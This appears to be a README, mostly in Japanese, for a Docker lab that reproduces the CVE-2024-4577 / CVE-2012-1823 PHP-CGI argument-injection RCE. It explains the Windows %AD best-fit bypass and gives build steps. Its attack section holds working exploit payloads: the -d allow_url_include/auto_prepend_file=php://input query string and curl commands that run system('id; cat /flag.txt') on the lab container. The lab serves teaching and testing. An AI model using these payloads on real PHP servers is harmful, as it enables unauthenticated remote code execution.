
DockerベースのCTFラボで、CVE-2024-4577 PHP-CGIの引数インジェクションによるRCEを実演します。脆弱なPHP 5.4.1 CGI、エクスプロイトスクリプト、フラグ取得を含みます。
ゼロから構築する自己完結型 Docker ラボで、CVE-2024-4577 の背後にある実際の
引数インジェクション → リモートコード実行プリミティブを実演します。
http://localhost:8080 経由で悪用し、シェルを取得して、コンテナ内からフラグを読み取ります。
これはシミュレーションではなく、本物の脆弱性です。 このコンテナは パッチ未適用の PHP 5.4.1 CGI バイナリをコンパイルし、実際の脆弱なホストと まったく同じ方法で Apache の背後に配置します。どこにも偽の 「if password == flag」チェックはありません — フラグを取得する唯一の方法は、 実際にコード実行を達成することです。
CVE-2024-4577 の特徴的なペイロードは %AD(ソフトハイフン)を使用します。このトリックは
Windows でのみ機能します。なぜなら、Windows の 「ベストフィット」文字エンコーディングが
PHP の CVE-2012-1823 パッチがクエリ文字列をチェックした後に、バイト 0xAD を実際の
-(0x2D)に変換するからです。このエンコーディング変換は Windows 自体によって行われ、
通常の Linux Docker コンテナ内では発生しません。
したがって、お使いのマシンで実行可能な忠実な Linux ラボは、まったく同じ RCE プリミティブ
— URL を介した php-cgi オプションインジェクション → -d auto_prepend_file=php://input →
コード実行 — を、リテラル - 形式(CVE-2024-4577 の親バグである CVE-2012-1823)を使用して
再現します。実際の Windows CVE-2024-4577 ターゲットとの唯一の違いは、%AD→- の
エンコーディングバイパスレイヤーであり、この README で完全に文書化されています
(仕組み と
poc.http を参照)。
| この Linux ラボ | 実際の CVE-2024-4577(Windows) | |
|---|---|---|
| 脆弱なコンポーネント | php-cgi | php-cgi |
| RCE プリミティブ | -d auto_prepend_file=php://input | 同一 |
| URL 内の区切り文字 | リテラル - | %AD(ベストフィット → -) |
| 2012 年のパッチをバイパス? | 該当なし(PHP はパッチより前) | はい、Windows のベストフィット経由 |
| Win 11 Home + Docker Desktop で実行 | ✅ | ❌(Windows コンテナが必要) |
ビット単位で正確な Windows %AD の再現が特に必要な場合は、
Windows コンテナ対応の Docker ホスト(Windows Server / Win Pro + Hyper-V)が必要です —
Windows 11 Home では実行できません。Windows ペイロードは
poc.http に参考として含まれています。
CVE-2024-4577 — PHP CGI 引数インジェクションによるリモートコード実行。 DEVCORE(Orange Tsai / Angelboy) によって発見され、2024-06-06 に公開されました。
PHP が CGI モードで(または php-cgi.exe バイナリが何らかの方法で到達可能な状態で)
Windows 上の特定のシステムロケール(繁体字/簡体字中国語、日本語など)で展開されている場合、
Web サーバーは HTTP クエリ文字列をコマンドライン引数として php-cgi に渡します。
攻撃者は php-cgi のコマンドラインオプション(-d ...)をそのクエリ文字列に紛れ込ませることができます。
Windows の ベストフィット コードページ変換により、ソフトハイフンのバイト 0xAD(%AD)が
ASCII ハイフン - に変換され、CVE-2012-1823 の強化をすり抜けて、攻撃者が任意の PHP INI ディレクティブを
設定できるようになります — 最も有用なのは allow_url_include=1 を伴う
auto_prepend_file=php://input で、攻撃者が提供したリクエストボディを PHP として実行します。
結果: 認証なしのリモートコード実行。 これは数日以内に実世界で武器化されました
(例: TellYouThePass ランサムウェア)。
CGI はクエリ文字列を argv として渡します。 RFC 3875 に従い、CGI リクエストの
クエリ文字列にエンコードされていない = が含まれていない場合、サーバーはそれを + で分割し、
各単語を URL デコードして、CGI プログラムにコマンドライン引数として渡します。
したがって、php-cgi は攻撃者が制御する argv を受け取ります。
php-cgi はその argv をオプションとして解析します。 歴史的に php-cgi は
その argv から -d key=value、-T などを解釈していました。
-d allow_url_include=1 -d auto_prepend_file=php://input を渡すと、PHP は
リクエストボディをコードとして実行します → CVE-2012-1823。
CVE-2012-1823 の修正は Windows では不完全です。 2012 年のパッチは
sapi/cgi/cgi_main.c にガードを追加しました: おおよそ*「(生の) クエリ文字列が - で始まり
= を含まない場合、オプション解析をスキップする (skip_getopt)」*。リテラル - を送信する
攻撃者は現在ブロックされています。
ベストフィットエンコーディングがガードを無効化します(2024 年のバグ)。 Windows では、
PHP はロケールコードページを使用してコマンドラインをベストフィットマッピング有効で変換します。
攻撃者は %AD(バイト 0xAD、ソフトハイフン)を送信します。ガードのチェック時点では
最初のバイトは 0xAD であり、- ではないため、skip_getopt は設定されません。
その後、PHP が実際に argv を構築するとき、Windows のベストフィットマッピングにより
0xAD → - が変換されるため、getopt は今度は -d を認識します。オプションインジェクションは、
それを止めるはずだったチェックの後に発火します。このチェック-そして-変換の順序が
脆弱性の全体です。
この Linux ラボでは、ステップ 1〜2 はステップ 3 のパッチより前の php-cgi で 正確に再現されるため、リテラル
-形式が機能し、同一の RCE を実演します。 ステップ 4 は Windows のみのレイヤーであり、文書化されていますが実行されません (Linux にはベストフィット変換がありません)。
8.3.8、8.2.20、8.1.29 で修正されました。したがって、脆弱なバージョン:
条件: Windows OS; PHP が CGI として実行されているまたは php-cgi.exe が公開されている
(Windows 上のデフォルトの XAMPP 構成は脆弱です); ベストフィットパスに影響するロケール。
(親バグである CVE-2012-1823 — このラボが実行するプリミティブ — は、この構成で
2012 年修正前の php-cgi を実行する任意の OS に影響します。)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. 前提条件
- **Docker Desktop**(Windows/macOS)または Docker Engine(Linux)。
Windows 11 Home:**WSL 2** バックエンド(デフォルト)で Docker Desktop をインストールします。
→ https://www.docker.com/products/docker-desktop/
- 悪用のための `curl`(`curl.exe` は Windows 10/11 に組み込み済み。Git Bash / WSL / macOS / Linux にも含まれています)。
- **ビルド中**のインターネットアクセス(PHP 5.4.1 のソースをダウンロードします)。
## 6. ビルド手順
`cve-2024-4577-lab/` フォルダ内でターミナルを開きます。
### オプション A — docker compose(推奨)```bash
docker compose up --build -d
docker buildコマンド:```bash docker build -t cve-2024-4577-lab .
**docker run コマンド:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
このビルドはPHPをソースからコンパイルします(初回は約2〜5分かかります)。お使いのマシンで失敗する場合(オフライン、ツールチェーンなし、museum.php.netがブロックされている場合)は、フォールバックのベースイメージを使用してください:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
**ACME 内部状态门户** 的 HTML 页面应该会显示出来,关键在于:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi(つまり php-cgi 経由で配信されている)は、脆弱なコンポーネントがリクエストパス上にあることを確認します。また、ログも確認してください:```bash
docker logs cve-2024-4577-lab
## 8. 攻撃手順
注入されたクエリ文字列(URLエンコードされているため、Apacheは**リテラルの `=`** を認識せず、
そのためCGIのargvとして扱います):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
which php-cgi が次のように解析する場合:``` -d allow_url_include=1 -d auto_prepend_file=php://input
The **request body** becomes PHP source (read via `php://input`) and runs
*before* `index.php`.
### 8a. Easiest — run the script```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> **Windows PowerShell** では、明示的に `curl.exe` を使用してください(PowerShell の `curl` は
> `Invoke-WebRequest` のエイリアスであり、クエリ文字列を壊してしまいます):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8c. 手動 — 生の HTTP(Burp Repeater)
[`poc.http`](#poc-http) を参照してください。リクエスト #1 を Burp Repeater に貼り付けて送信します。